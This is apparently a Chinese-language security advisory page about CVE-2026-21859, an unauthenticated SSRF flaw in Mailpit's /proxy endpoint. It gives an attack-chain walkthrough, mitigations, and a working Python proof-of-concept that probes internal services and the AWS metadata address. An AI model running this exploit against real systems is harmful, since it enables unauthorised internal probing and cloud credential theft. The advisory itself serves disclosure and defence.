IPBUF安全漏洞报告
English
CVE-2026-21859 CVSS 5.8 中危

CVE-2026-21859 Mailpit /proxy端点SSRF服务器端请求伪造漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-21859
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mailpit

相关标签

SSRF服务器端请求伪造MailpitCVE-2026-21859邮件测试工具内部网络探测HTTP代理漏洞中危漏洞无需认证信息泄露

漏洞概述

CVE-2026-21859是Mailpit邮件测试工具中的一个服务器端请求伪造(SSRF)漏洞。Mailpit是一款面向开发者的电子邮件测试工具和API。攻击者可以利用该漏洞通过访问受影响的Mailpit实例的/proxy端点,向内部网络资源发起请求,从而获取敏感信息或与内部服务进行交互。该漏洞影响Mailpit 1.28.0及以下版本,攻击者无需认证即可利用此漏洞。由于Mailpit通常部署在开发环境中用于测试邮件功能,攻击者可以利用此漏洞探测内网结构、访问内部API接口、读取内部服务数据等。此漏洞的CVSS评分为5.8,属于中等严重程度,主要影响系统的机密性。漏洞已在1.28.1版本中修复,建议所有使用Mailpit的用户尽快升级到最新版本以消除安全风险。

技术细节

Mailpit的/proxy端点存在服务器端请求伪造(SSRF)漏洞。漏洞的根本原因在于端点仅验证了请求的协议类型(http://和https://),但未能有效阻止对内部IP地址和私有网络地址的访问。攻击者可以通过构造恶意的HTTP GET请求,指定目标为内部IP地址(如127.0.0.1、192.168.x.x、10.x.x.x等)或内网域名,实现对内部服务的访问。该漏洞的技术限制包括:仅支持HTTP GET方法,且只能携带最小化的HTTP头信息。尽管存在这些限制,攻击者仍可利用此漏洞进行内网探测、访问内部API接口、读取内部数据库连接信息、探测内部服务端口等操作。攻击成功的关键在于Mailpit服务器能够访问攻击者无法直接访问的内部网络资源。修复方案在1.28.1版本中加强了对内部IP地址的验证和过滤机制。

攻击链分析

STEP 1
步骤1
攻击者识别运行Mailpit <= 1.28.0版本的公开访问端点
STEP 2
步骤2
攻击者访问Mailpit的/proxy端点,该端点设计用于代理HTTP请求
STEP 3
步骤3
攻击者构造恶意请求,将目标URL设置为内部IP地址(如127.0.0.1、192.168.x.x、10.x.x.x)或内网域名
STEP 4
步骤4
Mailpit服务器验证请求协议为http://或https://后,放行请求并代替攻击者向内部资源发起HTTP GET请求
STEP 5
步骤5
Mailpit将内部服务的响应返回给攻击者,攻击者由此获取内部服务的数据或探测内网结构
STEP 6
步骤6
攻击者利用获取的信息进一步发起针对性攻击,如访问内部API、读取敏感配置等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-21859 Mailpit SSRF PoC # Target: Mailpit <= 1.28.0 # Endpoint: /proxy def exploit_ssrf(target_url, internal_target): """ Exploit Mailpit SSRF vulnerability via /proxy endpoint Args: target_url: Base URL of vulnerable Mailpit instance internal_target: Internal resource to access (IP:port or hostname) Returns: Response from internal resource """ proxy_endpoint = f"{target_url.rstrip('/')}/proxy" # Construct SSRF payload targeting internal resource params = { 'url': internal_target } headers = { 'User-Agent': 'Mozilla/5.0 (compatible; SSRF-Test)', 'Accept': '*/*' } try: # Send GET request through vulnerable proxy endpoint response = requests.get( proxy_endpoint, params=params, headers=headers, timeout=10, verify=False ) return response.text except requests.RequestException as e: return f"Error: {str(e)}" # Example usage if __name__ == "__main__": # Target Mailpit instance target = "http://mailpit-vulnerable-server:8025" # Internal targets to probe internal_targets = [ "http://127.0.0.1:6379/", # Redis "http://127.0.0.1:3306/", # MySQL "http://192.168.1.1:8080/admin", # Internal router "http://10.0.0.1:9200/_cluster/health", # Elasticsearch "http://169.254.169.254/latest/meta-data/", # AWS metadata ] print("Mailpit SSRF Exploitation Test") print("=" * 50) for target_addr in internal_targets: print(f"\n[*] Probing: {target_addr}") result = exploit_ssrf(target, target_addr) print(f"[+] Response: {result[:200]}...")

影响范围

Mailpit <= 1.28.0

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施临时缓解:1) 在网络层限制Mailpit实例仅可访问必要的外部资源;2) 使用反向代理限制对/proxy端点的访问;3) 监控和记录所有/proxy端点的请求日志;4) 考虑在测试环境中使用网络隔离方案。最佳方案仍是尽快升级到Mailpit 1.28.1或更高版本以彻底修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表